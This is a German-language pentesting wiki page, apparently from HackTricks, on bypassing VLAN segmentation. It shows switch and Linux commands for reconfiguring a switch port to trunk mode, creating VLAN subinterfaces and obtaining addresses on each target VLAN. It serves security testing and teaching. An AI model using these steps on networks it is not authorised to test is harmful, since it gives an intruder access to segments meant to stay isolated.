Lateral VLAN Segmentation Bypass

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Wenn direkter Zugriff auf einen Switch möglich ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports im Trunk-Modus, die Einrichtung virtueller Schnittstellen für Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, abhängig vom Szenario (für weitere Details siehe https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann in der Regel durch CDP-Nachrichten oder durch die Suche nach dem Port über die include-Maske erreicht werden.

Wenn CDP nicht funktioniert, kann die Port-Identifizierung durch die Suche nach der MAC-Adresse versucht werden:

SW1(config)# show mac address-table | include 0050.0000.0500

Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erstellt und ihre Kennungen ermittelt werden. Diese Kennungen werden dann dem Interface zugewiesen, um den Zugriff auf verschiedene VLANs über den Trunk zu ermöglichen. Der verwendete Port ist beispielsweise mit VLAN 10 verbunden.

SW1# show vlan brief

Der Übergang zum Trunk-Modus erfordert das Betreten des Schnittstellenkonfigurationsmodus:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Der Wechsel in den Trunk-Modus unterbricht vorübergehend die Konnektivität, kann jedoch anschließend wiederhergestellt werden.

Virtuelle Schnittstellen werden dann erstellt, VLAN-IDs zugewiesen und aktiviert:

sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

Anschließend wird eine Adressanfrage über DHCP gestellt. Alternativ können Adressen auch manuell konfiguriert werden, falls DHCP nicht möglich ist:

sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schnittstelle (VLAN 10):

sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

Die Konnektivität wird durch das Initiieren von ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 getestet.

Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch uneingeschränkter Zugriff auf jedes VLAN-Netzwerk ermöglicht wird und die Bühne für nachfolgende Aktionen bereitet wird.

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Last updated